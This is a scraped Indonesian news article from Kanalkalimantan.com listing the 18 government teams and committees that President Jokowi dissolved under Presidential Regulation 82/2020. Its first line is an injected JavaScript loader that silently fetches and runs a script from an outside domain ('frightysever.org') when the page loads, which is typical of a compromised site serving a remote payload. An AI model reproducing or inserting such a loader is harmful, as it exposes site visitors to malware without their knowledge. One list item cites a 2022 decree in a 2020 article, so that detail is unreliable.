(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Presiden Joko Widodo (Jokowi) resmi membubarkan 18 tim kerja, badan dan komite pada Senin (20/7/2020). Hal ini tertuang dalam Peraturan Presiden Nomor 82 Tahun 2020 Tentang Komite Penanganan Covid-19 dan Pemulihan Ekonomi Nasional.
Perpres tersebut ditandatangani Jokowi pada 20 Juli 2020. “Dengan pembentukkan Komite sebagaimana dimaksud dalam Pasal 1 melalui Perpres ini membubarkan,” bunyi pasal 19 ayat 1 yang dikutip Suara.com mitra media Kanalkalimantan.com, Senin (20/7/2020).
Berikut tim kerja, badan dan komite yang dibubarkan melalui Perpres tersebut:
1) Tim Transparansi Industri Ekstraktif yang dibentuk berdasarkan Perpres No.26/2010.
2) Badan Koordinasi Nasional Penyuluhan Pertanian, Perikanan dan Kehutanan yang dibentuk berdasarkan Perpres No.10/2011.
3) Komite Percepatan dan Perluasan Pembangunan Ekonomi Indonesia 2011-2025 yang dibentuk berdasarkan Perpres No.32/2011.
4) Badan Pengembangan Kawasan Strategis dan Infrastruktur Selat Sunda yang dibentuk berdasarkan Perpres No.86/2011.
5) Tim Koordinasi Nasional Pengelolaan Ekosistem Mangrove yang dibentuk berdasarkan Perpres No.73/2012.
6) Badan Peningkatan Penyelenggaraan Sistem penyediaan Air Minum yang dibentuk berdasarkan Perpres No.90/2016.
7) Komite Pengarah Peta Jalan Sistem Perdagangan Nasional berbasis Elektronik (Road Map e-Commerce) tahun 2019-2019 yang dibentuk berdasarkan Perpres No.74/2017.
8) Satuan Tugas Percepatan Pelaksanaan Berusaha yang dibentuk berdasarkan Perpres No91/2017.
9) Tim Koordinasi Pemantauan dan Evaluasi atas Pemberian Jaminan dan Subsidi Bungan kepada PDAM dalam rangka percepatan penyediaan air minum yang dibentuk berdasakan Perpres No. 46/2019.
10) Tim Pinjaman Komersial Luar Negeri yang dibentuk berdasarkan Keppres No.39/1991.
11) Tim Nasional untuk Perundingan Perdagangan Multilateral dalam kerangka World Trade Organisastion yang dibentuk berdasarkan Keppres No.104/1999 yang telah mengalami beberapa perubahan. Terakhir dibentuk berdasarkan Keppres No.16/2022.
12) Tim Restrukturisasi dan Rehabilitasi PT (Persero) PLN yang deibentuk berdsaarkan Keppres No 166/1999. Dimana diatur kembali di Keppres No.133/2000.
13) Komite Kebijakan Sektor Keuangan yang dibentuk berdasarkan Keppres No.177/1999. Terakhir diatur dalam Keppres No.53/2003.
14) Komite Antar Departemen Bidang Kehutanan yang dibentuk berdasarkan Keppres No.80/2000.
15) Tim Koordinasi Peningkatan Kelancaran Arus Barang Ekspor dan Impor yang dibentuk berdasarkan Keppres No.54/2002. Kemudian mengalami perubahan yang diatur dalam Keppres No.24/2005.
16) Tim Nasional Peningkatan Ekspor dan Peningkatan Investasi yang dibentuk berdasarkan Keppres No.3/2006. Telah mengalami beberapa perubahan. Terakhir diatur dalam Keppres No.28/2010.
17) Tim Koordinasi Percepatan Pembangunan Rumah Susun di Kawasan Perkotaan yang dibentuk berdasarkan Keprres No.22/2006.
18) Komite Nasional Persiapan Pelaksanaan Masyarakat Ekonomi ASEAN yang dibentuk berdasarkan Keppres No.37/2014.
(suara)
KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More
KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
This website uses cookies.